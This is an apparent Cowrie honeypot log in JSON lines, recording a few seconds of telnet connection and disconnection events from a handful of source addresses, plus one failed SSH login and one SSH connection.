{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":37640,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9a11eeea2dd","protocol":"telnet","message":"New connection: 162.241.40.195:37640 (10.17.0.5:23) [session: f9a11eeea2dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:32.133754Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":44300,"dst_ip":"10.17.0.5","dst_port":23,"session":"f517b717510f","protocol":"telnet","message":"New connection: 99.198.111.122:44300 (10.17.0.5:23) [session: f517b717510f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:32.223915Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":45070,"dst_ip":"10.17.0.5","dst_port":23,"session":"77459e25c6e2","protocol":"telnet","message":"New connection: 99.198.111.122:45070 (10.17.0.5:23) [session: 77459e25c6e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:32.518157Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":38944,"dst_ip":"10.17.0.5","dst_port":23,"session":"634fcb38f386","protocol":"telnet","message":"New connection: 162.241.40.195:38944 (10.17.0.5:23) [session: 634fcb38f386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:32.522639Z"}
{"eventid":"cowrie.session.closed","duration":30.75601816177368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:32.538038Z","src_ip":"99.198.111.122","session":"d4a5f14377ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":34174,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3579b0655a8","protocol":"telnet","message":"New connection: 108.179.218.230:34174 (10.17.0.5:23) [session: a3579b0655a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:32.823345Z"}
{"eventid":"cowrie.session.closed","duration":30.540943384170532,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:33.018944Z","src_ip":"99.198.111.122","session":"d7e0544eede2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83443784713745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:33.025693Z","src_ip":"99.198.111.122","session":"6801861894e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":55580,"dst_ip":"10.17.0.5","dst_port":23,"session":"21c692ca6cd5","protocol":"telnet","message":"New connection: 135.148.33.217:55580 (10.17.0.5:23) [session: 21c692ca6cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:33.043514Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":48202,"dst_ip":"10.17.0.5","dst_port":23,"session":"07d5b472568b","protocol":"telnet","message":"New connection: 216.22.21.200:48202 (10.17.0.5:23) [session: 07d5b472568b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:33.193548Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":46710,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc0d0057bef3","protocol":"telnet","message":"New connection: 99.198.111.122:46710 (10.17.0.5:23) [session: bc0d0057bef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:33.196692Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":32806,"dst_ip":"10.17.0.5","dst_port":23,"session":"21f38b618a12","protocol":"telnet","message":"New connection: 160.250.4.73:32806 (10.17.0.5:23) [session: 21f38b618a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:33.223072Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":46822,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b39acf228d3","protocol":"telnet","message":"New connection: 99.198.111.122:46822 (10.17.0.5:23) [session: 1b39acf228d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:33.259566Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":32820,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc73fef17bec","protocol":"telnet","message":"New connection: 160.250.4.73:32820 (10.17.0.5:23) [session: dc73fef17bec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:33.401064Z"}
{"eventid":"cowrie.session.closed","duration":30.744246006011963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:33.421479Z","src_ip":"135.148.33.217","session":"3bb0b18b266a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":47514,"dst_ip":"10.17.0.5","dst_port":23,"session":"89f10532cd43","protocol":"telnet","message":"New connection: 99.198.111.122:47514 (10.17.0.5:23) [session: 89f10532cd43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:33.566056Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":56620,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8efedb82d0d","protocol":"telnet","message":"New connection: 135.148.33.217:56620 (10.17.0.5:23) [session: e8efedb82d0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:34.003100Z"}
{"eventid":"cowrie.session.closed","duration":30.14748525619507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:34.071826Z","src_ip":"135.148.33.217","session":"b05ae0dd9e07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.305070638656616,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:34.143267Z","src_ip":"160.250.4.73","session":"b84b819a748a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.203246116638184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:34.156959Z","src_ip":"135.148.33.217","session":"1cb8326d16a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.156664848327637,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:34.215047Z","src_ip":"99.198.111.122","session":"7f324f916d2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":32834,"dst_ip":"10.17.0.5","dst_port":23,"session":"652e25924aec","protocol":"telnet","message":"New connection: 160.250.4.73:32834 (10.17.0.5:23) [session: 652e25924aec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:34.329360Z"}
{"eventid":"cowrie.session.closed","duration":10.534634113311768,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:34.836857Z","src_ip":"185.26.126.47","session":"b6e62cc6771a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1770920753479,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:34.881474Z","src_ip":"160.250.4.73","session":"fd3e475de0fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.543440580368042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:35.019452Z","src_ip":"99.198.111.122","session":"930e0bce60c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.433330297470093,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:35.032590Z","src_ip":"195.154.29.177","session":"ab0bf8542a4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.787351608276367,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:35.099966Z","src_ip":"133.130.75.21","session":"f632aa4df906","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.206414461135864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:35.339242Z","src_ip":"99.198.111.122","session":"f9841ca41ea7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":40680,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4bc008868bc","protocol":"telnet","message":"New connection: 162.241.40.195:40680 (10.17.0.5:23) [session: a4bc008868bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:35.786110Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":32848,"dst_ip":"10.17.0.5","dst_port":23,"session":"84423f7ae27a","protocol":"telnet","message":"New connection: 160.250.4.73:32848 (10.17.0.5:23) [session: 84423f7ae27a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:35.874635Z"}
{"eventid":"cowrie.session.closed","duration":30.43935537338257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:36.116096Z","src_ip":"99.198.111.122","session":"f620570f7629","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.850388288497925,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:36.120730Z","src_ip":"135.148.33.217","session":"a23f2ceef833","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":53750,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a1f1946e40f","protocol":"telnet","message":"New connection: 99.198.111.122:53750 (10.17.0.5:23) [session: 5a1f1946e40f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:36.455948Z"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:36.665894Z","src_ip":"122.168.114.167","session":"74f306182972","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":54680,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf2583ce258f","protocol":"telnet","message":"New connection: 99.198.111.122:54680 (10.17.0.5:23) [session: cf2583ce258f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:36.812553Z"}
{"eventid":"cowrie.session.closed","duration":30.941627025604248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:37.032092Z","src_ip":"99.198.111.122","session":"a4ae73f1ad34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.476665019989014,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:37.035570Z","src_ip":"99.198.111.122","session":"89a88524e43c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67698359489441,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:37.038496Z","src_ip":"99.198.111.122","session":"4ae5afe09e7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.946336269378662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:37.042475Z","src_ip":"99.198.111.122","session":"12c4f5a203dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.820194482803345,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:37.061068Z","src_ip":"99.198.111.122","session":"cd8aaef49002","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":55366,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d0fa45595a2","protocol":"telnet","message":"New connection: 99.198.111.122:55366 (10.17.0.5:23) [session: 0d0fa45595a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:37.110743Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":32858,"dst_ip":"10.17.0.5","dst_port":23,"session":"67789323af8f","protocol":"telnet","message":"New connection: 160.250.4.73:32858 (10.17.0.5:23) [session: 67789323af8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:37.208026Z"}
{"eventid":"cowrie.session.closed","duration":30.285535097122192,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:37.255552Z","src_ip":"99.198.111.122","session":"ffbb947de7ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.539473295211792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:37.275911Z","src_ip":"99.198.111.122","session":"b827932ad852","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.479238510131836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:37.285109Z","src_ip":"195.154.29.177","session":"89034916e9f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":42144,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c1f183e316e","protocol":"telnet","message":"New connection: 162.241.40.195:42144 (10.17.0.5:23) [session: 8c1f183e316e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:37.413726Z"}
{"eventid":"cowrie.session.closed","duration":31.414418697357178,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:37.601796Z","src_ip":"135.148.33.217","session":"d5954cf40b6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":32874,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8ca2d06b5f4","protocol":"telnet","message":"New connection: 160.250.4.73:32874 (10.17.0.5:23) [session: e8ca2d06b5f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:37.725488Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":40860,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5d7d669fb62","protocol":"telnet","message":"New connection: 162.241.40.195:40860 (10.17.0.5:23) [session: e5d7d669fb62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:38.049845Z"}
{"eventid":"cowrie.session.closed","duration":30.86217999458313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:38.064260Z","src_ip":"135.148.33.217","session":"7015609f9a16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66802215576172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:38.105662Z","src_ip":"99.198.111.122","session":"ff22cedc2332","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.360055446624756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:38.250243Z","src_ip":"31.41.249.116","session":"e98853a41a62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":58370,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d62217884e1","protocol":"telnet","message":"New connection: 99.198.111.122:58370 (10.17.0.5:23) [session: 9d62217884e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:38.401532Z"}
{"eventid":"cowrie.session.closed","duration":31.344319581985474,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:38.619270Z","src_ip":"64.235.40.29","session":"e9574a0d1aca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.2116482257843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:39.023071Z","src_ip":"99.198.111.122","session":"12ca4e2402be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.313411474227905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:39.055190Z","src_ip":"99.198.111.122","session":"6c45308e4614","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":59782,"dst_ip":"10.17.0.5","dst_port":23,"session":"3174f35ec93b","protocol":"telnet","message":"New connection: 99.198.111.122:59782 (10.17.0.5:23) [session: 3174f35ec93b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:39.109776Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":59838,"dst_ip":"10.17.0.5","dst_port":23,"session":"57a16ec5da5d","protocol":"telnet","message":"New connection: 99.198.111.122:59838 (10.17.0.5:23) [session: 57a16ec5da5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:39.132626Z"}
{"eventid":"cowrie.session.closed","duration":31.022974491119385,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:39.161928Z","src_ip":"135.148.33.217","session":"158b66823b54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.459612369537354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:39.173464Z","src_ip":"99.198.111.122","session":"abbab87be93b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.589036226272583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:39.233801Z","src_ip":"99.198.111.122","session":"0e35efff91fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.328428506851196,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:39.416346Z","src_ip":"99.198.111.122","session":"f04af27a145c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35750436782837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:39.454255Z","src_ip":"64.235.40.29","session":"186982e653dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74184012413025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:39.646166Z","src_ip":"135.148.33.217","session":"e1510149b8c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.692697763442993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:40.032994Z","src_ip":"99.198.111.122","session":"c9169e089339","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.781144857406616,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:40.038916Z","src_ip":"99.198.111.122","session":"3e27365fd5e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.214244604110718,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:40.073759Z","src_ip":"99.198.111.122","session":"7b982cf7dc13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.429343700408936,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:40.101434Z","src_ip":"216.22.21.200","session":"863089397a92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20499038696289,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:40.165304Z","src_ip":"160.250.4.73","session":"ccfadcad754d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87114143371582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:40.460040Z","src_ip":"162.241.40.195","session":"9b99444fcb76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":41704,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd58bc9c6542","protocol":"telnet","message":"New connection: 160.250.4.73:41704 (10.17.0.5:23) [session: cd58bc9c6542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:40.572186Z"}
{"eventid":"cowrie.session.closed","duration":31.5095055103302,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:40.869708Z","src_ip":"216.22.21.200","session":"f6655573c390","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.255671977996826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:40.890999Z","src_ip":"160.250.4.73","session":"46a6fd9e02b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.583283185958862,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:41.024899Z","src_ip":"99.198.111.122","session":"fcf4159f38a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.767061710357666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:41.146981Z","src_ip":"99.198.111.122","session":"d838c702d0c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":36048,"dst_ip":"10.17.0.5","dst_port":23,"session":"1643b0573123","protocol":"telnet","message":"New connection: 99.198.111.122:36048 (10.17.0.5:23) [session: 1643b0573123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:41.204360Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":41720,"dst_ip":"10.17.0.5","dst_port":23,"session":"f21a9e0a97d2","protocol":"telnet","message":"New connection: 160.250.4.73:41720 (10.17.0.5:23) [session: f21a9e0a97d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:41.211508Z"}
{"eventid":"cowrie.session.closed","duration":31.06844425201416,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:41.227247Z","src_ip":"99.198.111.122","session":"a4f2004dd5d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"22.9","message":"Connection lost after 22.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:41.253276Z","src_ip":"122.168.114.167","session":"74f306182972","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.7.102","src_port":37274,"dst_ip":"10.17.0.5","dst_port":23,"session":"27cce9a82f1e","protocol":"telnet","message":"New connection: 50.6.7.102:37274 (10.17.0.5:23) [session: 27cce9a82f1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:41.830265Z"}
{"eventid":"cowrie.session.closed","duration":30.747010469436646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:42.046969Z","src_ip":"99.198.111.122","session":"72433590eab2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.441051721572876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:42.056325Z","src_ip":"99.198.111.122","session":"3556bd11f337","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":33360,"dst_ip":"10.17.0.5","dst_port":23,"session":"de0c7f3dcca0","protocol":"telnet","message":"New connection: 162.214.112.92:33360 (10.17.0.5:23) [session: de0c7f3dcca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:42.061338Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60358,"dst_ip":"159.203.135.109","dst_port":22,"session":"277678f0397a","protocol":"ssh","message":"New connection: 159.203.92.129:60358 (159.203.135.109:22) [session: 277678f0397a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:42.078614Z"}
